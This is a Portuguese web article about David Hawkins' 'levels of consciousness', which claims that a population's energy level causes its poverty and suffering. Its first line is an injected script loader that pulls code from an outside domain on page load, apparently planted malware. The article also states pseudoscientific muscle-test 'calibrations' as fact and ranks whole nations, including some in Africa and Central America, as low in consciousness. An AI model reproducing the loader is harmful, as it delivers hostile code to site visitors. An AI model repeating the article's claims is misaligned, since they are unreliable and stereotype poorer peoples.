;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Qual é a verdadeira origem do sofrimento humano? - David Hawkins Brasil
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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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